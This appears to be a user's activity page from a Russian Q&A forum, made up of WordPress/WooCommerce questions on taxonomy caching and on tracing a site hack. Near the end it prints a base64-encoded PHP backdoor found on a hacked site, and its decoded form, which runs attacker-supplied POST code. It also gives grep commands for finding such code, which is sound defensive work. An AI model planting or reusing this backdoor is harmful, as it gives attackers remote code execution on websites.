• Показывает один и тот же товар в админ панели?

    @Bodrosh
    Попробуйте по очереди поотключать плагины, убирать добавленный код и игры с переводом и проверять эту страницу.
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Дмитрий, Спасибо за мысли, вот без сериализации и не работало.
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Артем Золин, Согласен, независимо от авторизации. Вот голову сломал как это победить...
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Артем Золин, Спасибо, выше скрин загрузки главной страницы сайта.
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Артем Золин, Но скорость фронтенда то от этого не изменится) И менеджерам вряд ли это понравится)
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Артем Золин, Знаю, что это не гуд) Но пока другого решения не вижу. Столкнулся с проблемой в Woocommerce - глобальные атрибуты создаются отдельными таксономиями и затем на каждой страницы сайта (на хуке init) происходит их регистрация в цикле (у меня их больше 1000) и загрузка сайта замедляется на ~3 секунды. Woo разводят руками - говорят это в wp так устроено... Удалить атрибуты не могу - нужны для фильтров интернет магазина, может у вас есть мысли по этому поводу?)
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    ThunderCat, Спасибо! А этот объект $taxonomy_object - результат данной функции получится так загнать на ваш взгляд? Спасибо, буду пробовать.
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Пробовал эту функцию (с подключенным Memcached), но видимо это так не работает? функция сама выглядит так:
    spoiler

    function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
    
        /* br added */
      //  $cache_key = 'br_cache_tax_' . md5($taxonomy);
    
      //  wp_cache_delete( $cache_key );
    //    $cache = wp_cache_get( $cache_key );
    //    if( false !== $cache )
    //        return $cache;
        /* ./ br added */
    
    	global $wp_taxonomies;
    
    	if ( ! is_array( $wp_taxonomies ) ) {
    		$wp_taxonomies = array();
    	}
    
    	$args = wp_parse_args( $args );
    
    	if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
    		_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
    		return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
    	}
    
    	$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
    	$taxonomy_object->add_rewrite_rules();
    
    	$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
    
    	$taxonomy_object->add_hooks();
    
    	// Add default term.
    	if ( ! empty( $taxonomy_object->default_term ) ) {
    		$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
    		if ( $term ) {
    			update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
    		} else {
    			$term = wp_insert_term(
    				$taxonomy_object->default_term['name'],
    				$taxonomy,
    				array(
    					'slug'        => sanitize_title( $taxonomy_object->default_term['slug'] ),
    					'description' => $taxonomy_object->default_term['description'],
    				)
    			);
    
    			// Update `term_id` in options.
    			if ( ! is_wp_error( $term ) ) {
    				update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
    			}
    		}
    	}
    
    	/**
    	 * Fires after a taxonomy is registered.
    	 *
    	 * @since 3.3.0
    	 *
    	 * @param string       $taxonomy    Taxonomy slug.
    	 * @param array|string $object_type Object type or array of object types.
    	 * @param array        $args        Array of taxonomy registration arguments.
    	 */
    	do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
    
        /* br added */
    	//wp_cache_set( $cache_key, $taxonomy_object ); // добавим данные в кэш
        /* ./ br added */
    
    	return $taxonomy_object;
    }
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Спасибо, пробовал загнать результат выполнения в Memcached, но видимо это так не работает? функция сама выглядит так:
    spoiler

    function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
    
        /* br added */
      //  $cache_key = 'br_cache_tax_' . md5($taxonomy);
    
      //  wp_cache_delete( $cache_key );
    //    $cache = wp_cache_get( $cache_key );
    //    if( false !== $cache )
    //        return $cache;
        /* ./ br added */
    
    	global $wp_taxonomies;
    
    	if ( ! is_array( $wp_taxonomies ) ) {
    		$wp_taxonomies = array();
    	}
    
    	$args = wp_parse_args( $args );
    
    	if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
    		_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
    		return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
    	}
    
    	$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
    	$taxonomy_object->add_rewrite_rules();
    
    	$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
    
    	$taxonomy_object->add_hooks();
    
    	// Add default term.
    	if ( ! empty( $taxonomy_object->default_term ) ) {
    		$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
    		if ( $term ) {
    			update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
    		} else {
    			$term = wp_insert_term(
    				$taxonomy_object->default_term['name'],
    				$taxonomy,
    				array(
    					'slug'        => sanitize_title( $taxonomy_object->default_term['slug'] ),
    					'description' => $taxonomy_object->default_term['description'],
    				)
    			);
    
    			// Update `term_id` in options.
    			if ( ! is_wp_error( $term ) ) {
    				update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
    			}
    		}
    	}
    
    	/**
    	 * Fires after a taxonomy is registered.
    	 *
    	 * @since 3.3.0
    	 *
    	 * @param string       $taxonomy    Taxonomy slug.
    	 * @param array|string $object_type Object type or array of object types.
    	 * @param array        $args        Array of taxonomy registration arguments.
    	 */
    	do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
    
        /* br added */
    	//wp_cache_set( $cache_key, $taxonomy_object ); // добавим данные в кэш
        /* ./ br added */
    
    	return $taxonomy_object;
    }
  • Как закэшировать выполненную часть php кода?

    @Bodrosh Автор вопроса
    Пробовал, статически страницы сохранять - не выход, объектное кэширование не помогло, + пробовал использовать Memcached, но он такие данные не сохраняет? Вот так сама функция выглядит:
    spoiler

    function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
    
        /* br added */
      //  $cache_key = 'br_cache_tax_' . md5($taxonomy);
    
      //  wp_cache_delete( $cache_key );
    //    $cache = wp_cache_get( $cache_key );
    //    if( false !== $cache )
    //        return $cache;
        /* ./ br added */
    
    	global $wp_taxonomies;
    
    	if ( ! is_array( $wp_taxonomies ) ) {
    		$wp_taxonomies = array();
    	}
    
    	$args = wp_parse_args( $args );
    
    	if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
    		_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
    		return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
    	}
    
    	$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
    	$taxonomy_object->add_rewrite_rules();
    
    	$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
    
    	$taxonomy_object->add_hooks();
    
    	// Add default term.
    	if ( ! empty( $taxonomy_object->default_term ) ) {
    		$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
    		if ( $term ) {
    			update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
    		} else {
    			$term = wp_insert_term(
    				$taxonomy_object->default_term['name'],
    				$taxonomy,
    				array(
    					'slug'        => sanitize_title( $taxonomy_object->default_term['slug'] ),
    					'description' => $taxonomy_object->default_term['description'],
    				)
    			);
    
    			// Update `term_id` in options.
    			if ( ! is_wp_error( $term ) ) {
    				update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
    			}
    		}
    	}
    
    	/**
    	 * Fires after a taxonomy is registered.
    	 *
    	 * @since 3.3.0
    	 *
    	 * @param string       $taxonomy    Taxonomy slug.
    	 * @param array|string $object_type Object type or array of object types.
    	 * @param array        $args        Array of taxonomy registration arguments.
    	 */
    	do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
    
        /* br added */
    	//wp_cache_set( $cache_key, $taxonomy_object ); // добавим данные в кэш
        /* ./ br added */
    
    	return $taxonomy_object;
    }

  • Дисконт для woo. Скидка по номеру телефона?

    @Bodrosh
    Простой вариант из коробки - делать промокод (купон) = номеру телефона
  • Как победить скорость загрузки wordpress с множеством таксономий?

    @Bodrosh Автор вопроса
    Пычев Анатолий Анатолий, спасибо. Согласен, кэширование объектного кэша это хорошо, но тут именно тормозит не получение списка атрибутов $attribute_taxonomies = wc_get_attribute_taxonomies();
    Оно, как вы и сказали, дружит хорошо к кэшированием. Я его закомментировал, чтобы дальше цикл не шел, можно раскомментировать и в самом цикле отключить register_taxonomy, результат тот же. Т.е. причина именно в регистрации множества таксономий. Инструмент - xhprof .
  • Как победить скорость загрузки wordpress с множеством таксономий?

    @Bodrosh Автор вопроса
    Дмитрий, Спасибо, да, как таковой реалтайм не нужен, Закэшить можно чем-то вроде WP Total Cache или более хардкорное?
  • Как победить скорость загрузки wordpress с множеством таксономий?

    @Bodrosh Автор вопроса
    Дмитрий, Спасибо, согласен, что далеко не лучший. Был бы статический сайт, было бы проще) А так как интернет магазин, на главной товары, плюс от ролей пользователей меняются цены и блоки на сайте, плюс переходы в админке по 5-10 сек не радуют, то закэшить становится сложнее.
  • Как найти место взлома wordpress?

    @Bodrosh Автор вопроса
    Согласен, хорошие советы.
  • Как с сайта достать не все ссылки, атолько те, которые необходимы?

    @Bodrosh
    Такой вариант не работает find_all('ul.headmenu a') или find_all('ul.headmenu>a') ?
  • Как найти место взлома wordpress?

    @Bodrosh Автор вопроса
    jahtaka, вот у меня в файле было
    $b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');

    Если его расшифровать через любой онлайн декодер base64 получается:
    <?php  if(isset($_POST['lt']) && md5($_POST['lt']) == base64_decode("MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=") ) {$lt = base64_decode($_POST['a']);file_put_contents('lte_','<?php '.$lt);$lt='lte_';if(file_exists($lt)){include($lt);unlink($lt);}} ?>

    Т.е. часто код прячут именно через эти функции base64, по ним можно поискать подозрительные места, напр., так:
    grep --color  -r 'base64_decode' /var/www/user/data/www/site.ru/
    find . -type f -name '*.php' -exec grep --color -r ssqqss {} +  
    find . -type f -name '*.php' -exec grep base64 {} +
  • Как найти место взлома wordpress?

    @Bodrosh Автор вопроса
    Да, Ai-bolit тоже проверял, но он уже последствия выявил, проще откатиться (если есть такая возможность), чем бороться с ними. Вот в base64_decode как раз ваш файлик фигурирует в зашифрованном виде.